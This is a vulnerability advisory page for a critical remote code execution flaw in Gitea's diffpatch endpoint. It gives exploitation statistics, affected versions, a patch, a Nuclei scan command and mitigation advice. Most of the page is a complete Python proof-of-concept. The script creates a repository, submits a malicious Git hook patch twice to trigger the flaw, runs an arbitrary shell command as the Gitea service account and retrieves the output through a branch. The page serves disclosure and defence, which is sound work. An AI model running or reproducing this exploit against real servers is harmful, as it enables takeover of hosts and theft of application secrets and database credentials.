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CRITICAL severity

CVE-2026-60004 — gitea.dev

CRITICALFix: go-gitea/gitea#38637

CVE-2026-60004 is a critical-severity (CVSS 9.8) Code Injection vulnerability in gitea.dev. 3 public exploit references exist, so weaponization risk is real. A fix is available for gitea.dev — see the affected versions and patch details below.

Gitea: Remote Code Execution via diffpatch Git Hook Installation

Also known asBIT-gitea-2026-60004GHSA-rcr6-4jqh-j84mGO-2026-6433
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
3 known
Exploitation data as of Oct 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Actively exploited in the wild

  • CISA’s SSVC triage classifies this CVE as under active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-60004.

EPSS Exploitation Probability

via FIRST.org ↗
24.0%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs98th percentile — riskier than 98% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-60004 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,534 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹gitea.dev

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.

An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.

Details

services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:

cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")
}

Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.

In a bare clone, the repository root is $GIT_DIR. As a result, an executable entry named:

hooks/post-index-change

becomes a live Git hook.

Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.

The hook's return value is not propagated to the diffpatch response.

The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.

PoC

The supplied gitea_diffpatch_rce_poc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.

Set the account password:

export GITEA_PASSWORD='account-password'

Execute a command through the diffpatch chain:

python3 ./gitea_diffpatch_rce_poc.py \
  https://gitea.example \
  pocuser \
  'id; uname -srm; pwd'

The script:

  • Creates an initialized private repository.
  • Submits the same executable-hook patch twice.
  • Fetches the result branch.
  • Prints the command's combined stdout, stderr, and exit status.
  • Prints the evidence repository, ref, and commit IDs to stderr.

Expected output resembles:

uid=1000(git) gid=1000(git) groups=1000(git)
Linux ...
/data/gitea/tmp/...

[exit-status=0]

The trigger requires:

  • Git 2.32 or newer.
  • An enabled diffpatch route.
  • A writable and executable temporary filesystem.

Open registration is required only for the no-prior-credentials attack path.

Impact

This is remote command execution as the Gitea service account (CWE-94).

Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:

  • app.ini and Gitea application secrets.
  • Process environment secrets.
  • Mounted repositories.
  • Database credentials and database contents.
  • OAuth and integration credentials.
  • Other internal or externally reachable services.

With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.

<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitea RCE PoC – authorized testing only.
"""

from __future__ import annotations

import argparse
import base64
import getpass
import hashlib
import json
import os
from pathlib import Path

import secrets
import shlex
import shutil
import subprocess
import sys
import tempfile

from typing import Any
import urllib.error
import urllib.parse
import urllib.request


TIMEOUT    = 30.0
USER_AGENT = "gitea-rce-poc/2.0"

_RST  = "\033[0m"
_DIM  = "\033[2m"
_GRN  = "\033[38;5;46m"     # bright green
_RED  = "\033[31m"           # red for errors

def _g(t: str) -> str: return f"{_GRN}{t}{_RST}"
def _r(t: str) -> str: return f"{_RED}{t}{_RST}"
def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"

def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}")
def log_ok  (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}")
def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")


_SEP = "  " + "═" * 44
BANNER = f"{_SEP}\n  GITEA  REMOTE CODE EXECUTION  POC\n{_SEP}"

def print_banner(url: str, version: str | None = None,
                 command: str | None = None) -> None:
    print()
    for line in BANNER.splitlines():
        print(_g(line))
    print()
    ver = version or "unknown"
    print(_g("  " + "-" * 54))
    print(_g(f"  Target        : {url}"))
    print(_g(f"  Version       : {ver}"))
    if command:
        print(_g(f"  Command       : {command}"))
    print(_g("  " + "-" * 54))
    print()

class PocError(RuntimeError):
    pass

class GiteaClient:
    def __init__(self, base_url: str, username: str, password: str) -> None:
        parsed = urllib.parse.urlsplit(base_url)
        if parsed.scheme not in {"http", "https"} or not parsed.netloc:
            raise PocError("URL must be an absolute http:// or https:// URL")
        if parsed.query or parsed.fragment:
            raise PocError("URL must not contain a query string or fragment")
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        encoded = base64.b64encode(
            f"{username}:{password}".encode()
        ).decode("ascii")
        self.authorization = f"Basic {encoded}"

    def api(
        self,
        method: str,
        path: str,
        payload: dict[str, Any] | None = None,
    ) -> tuple[int, Any]:
        data = None
        if payload is not None:
            data = json.dumps(payload, separators=(",", ":")).encode()
        req = urllib.request.Request(
            self.base_url + path,
            data=data,
            method=method,
            headers={
                "Accept": "application/json",
                "Authorization": self.authorization,
                "Content-Type": "application/json",
                "User-Agent": USER_AGENT,
            },
        )
        try:
            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
                raw = r.read()
                return r.status, json.loads(raw) if raw else None
        except urllib.error.HTTPError as exc:
            body = exc.read().decode("utf-8", errors="replace")[:2_000]
            raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc
        except urllib.error.URLError as exc:
            raise PocError(f"{method} {path} failed: {exc.reason}") from exc
        except json.JSONDecodeError:
            raise PocError(f"{method} {path} returned invalid JSON")

def blob_oid(content: bytes) -> str:
    return hashlib.sha1(
        f"blob {len(content)}\0".encode("ascii") + content
    ).hexdigest()

def build_hook(command: str, leak_ref: str) -> bytes:
    qcmd = shlex.quote(command)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    return (
        "#!/bin/sh\n"
        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
        'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
        'case "$origin_objects" in\n'
        '  /*) ;;\n'
        '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
        "esac\n"
        'origin_git=${origin_objects%/objects}\n'
        '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
        f"output_blob=$({{ /bin/sh -c {qcmd}; "
        'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
        'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
        'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
        'git --git-dir="$origin_git" mktree) || exit 5\n'
        'commit=$(printf "command output\\n" | '
        "GIT_AUTHOR_NAME=poc [email protected] "
        "GIT_COMMITTER_NAME=poc [email protected] "
        'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
        f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
        "exit 0\n"
    ).encode()

def build_patch(hook: bytes) -> str:
    lc  = hook.count(b"\n")
    hdr = (
        "diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
        "new file mode 100755\n"
        f"index {'0'*40}..{blob_oid(hook)}\n"
        "--- /dev/null\n"
        "+++ b/hooks/post-index-change\n"
        f"@@ -0,0 +1,{lc} @@\n"
    ).encode()
    return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()

def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:
    try:
        result = subprocess.run(
            [git, *arguments], env=env,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
            check=False, timeout=TIMEOUT,
        )
    except subprocess.TimeoutExpired as exc:
        raise PocError(f"git timed out after {TIMEOUT:g}s") from exc
    except OSError as exc:
        raise PocError(f"could not run git: {exc}") from exc
    if result.returncode != 0:
        err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip()
        raise PocError(f"git exit {result.returncode}: {err}")
    return result.stdout

def fetch_output(git: str, client: GiteaClient,
                 owner: str, repo: str, leak_ref: str) -> bytes:
    remote = (
        f"{client.base_url}/"
        f"{urllib.parse.quote(owner, safe='')}/"
        f"{urllib.parse.quote(repo, safe='')}.git"
    )
    with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp:
        bare      = Path(tmp) / "fetch.git"
        auth_cfg  = Path(tmp) / "auth.config"
        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
        with os.fdopen(fd, "w", encoding="utf-8") as f:
            f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n")
        env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
        run_git(git, ["init", "--bare", "--quiet", str(bare)], env)
        run_git(git, [
            "-C", str(bare), "-c", f"include.path={auth_cfg}",
            "fetch", "--quiet", "--no-tags",
            remote, f"refs/heads/{leak_ref}",
        ], env)
        return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env)

def split_output(raw: bytes) -> tuple[str, int | None]:
    text  = raw.decode("utf-8", errors="replace")
    lines = text.splitlines()
    status: int | None = None
    if lines:
        t = lines[-1].strip()
        if t.startswith("[exit-status=") and t.endswith("]"):
            try:    status = int(t[len("[exit-status="):-1])
            except ValueError: pass
            else:   lines.pop()
    return "\n".join(lines).rstrip("\n"), status


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(description="Gitea RCE PoC")
    p.add_argument("url",      help="Gitea base URL")
    p.add_argument("username", help="existing Gitea username")
    p.add_argument("command",  help="shell command to execute on target")
    return p.parse_args()


def main() -> int:
    args = parse_args()
    if "\0" in args.command:
        raise PocError("command must not contain a NUL character")

    password = os.environ.get("GITEA_PASSWORD") or getpass.getpass(
        _g("[?]") + " password: "
    )
    if not password:
        raise PocError("password must not be empty")

    git = shutil.which("git")
    if git is None:
        raise PocError("git executable not found in PATH")

    client = GiteaClient(args.url, args.username, password)

    # version probe (pre-banner)
    log_star("probing target...")
    version: str | None = None
    try:
        r = urllib.request.Request(
            client.base_url + "/api/v1/version",
            headers={"Accept": "application/json", "User-Agent": USER_AGENT},
        )
        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:
            version = json.loads(resp.read()).get("version", "unknown")
    except Exception:
        version = "unknown"
    print_banner(client.base_url, version, args.command)

    log_star(f"target={client.base_url}  user={args.username}  cmd={args.command}")
    print()

    # step 1 – authenticate
    log_star("authenticating...")
    sc, acct = client.api("GET", "/api/v1/user")
    if sc != 200 or not isinstance(acct, dict):
        log_err("authentication failed"); raise PocError("auth failed")
    owner = acct.get("login")
    if not isinstance(owner, str) or not owner:
        log_err("no login in response"); raise PocError("no login")
    log_ok(f"logged in as {owner}  ({version})")

    # step 2 – create repo
    unique   = secrets.token_hex(5)
    repo     = f"test-repo-{unique}"
    leak_ref = f"output-{unique}"
    log_star("creating repository...")
    sc, _ = client.api("POST", "/api/v1/user/repos", {
        "name": repo, "private": True,
        "auto_init": True, "default_branch": "main",
        "object_format_name": "sha1",
    })
    if sc != 201:
        log_err("repo creation failed"); raise PocError("repo creation failed")
    log_ok(f"created repo {owner}/{repo}")

    # steps 3–4 – deliver payloads
    body = {
        "content": build_patch(build_hook(args.command, leak_ref)),
        "message": "initial commit",
        "branch": "main", "new_branch": "main",
    }
    ep = (
        f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/"
        f"{urllib.parse.quote(repo, safe='')}/diffpatch"
    )
    commits: list[str] = []
    for cycle in (1, 2):
        log_star(f"delivering payload {cycle}/2...")
        sc, resp = client.api("POST", ep, body)
        try:
            commit = resp["commit"]["sha"]
        except (KeyError, TypeError) as exc:
            log_err(f"payload {cycle}/2 rejected")
            raise PocError(f"cycle {cycle} no commit") from exc
        if sc != 201:
            log_err(f"payload {cycle}/2 failed")
            raise PocError(f"cycle {cycle} failed")
        commits.append(commit)
        log_ok(f"payload {cycle}/2 accepted  commit={commit[:16]}")

    # step 5 – retrieve output
    log_star("retrieving output...")
    output = fetch_output(git, client, owner, repo, leak_ref)
    log_ok("operation complete")

    # command output
    cmd_out, exit_status = split_output(output)
    print()
    log_ok(f"{args.command}:")
    print(_g("---"))
    if cmd_out:
        for line in cmd_out.splitlines():
            print(_g(line))
    else:
        print(_d("<no output>"))
    print(_g("---"))
    if exit_status == 0:
        log_ok(f"exit status: {exit_status}")
    elif exit_status is None:
        log_star("exit status: unknown")
    else:
        log_err(f"exit status: {exit_status}")

    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except PocError as exc:
        log_err(str(exc))
        raise SystemExit(1) from None

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogitea.dev≥ 1.17.0&&< 1.27.11.27.1go get gitea.dev@v1.27.1

Affected Products

1 product · 1 configurations
Application
giteagitea
≥ 1.17.0 && < 1.27.1
range
Exploits & PoCs
3

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitea.dev, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gitea.dev to 1.27.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-60004 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

How to detect CVE-2026-60004

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2026-60004 -u https://target
Template
Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
Severity
critical
Impact
Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.
Remediation
Update to Gitea version 1.27.1 or later.

Template by ProjectDiscovery nuclei-templates (0x_Akoko), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

### Summary Gitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content. An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository. ### Details `services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone: ```go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--bina
O3 Security · Impact-Aware SCA

Is CVE-2026-60004 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-60004: gitea.dev RCE (Critical 9.8, KEV)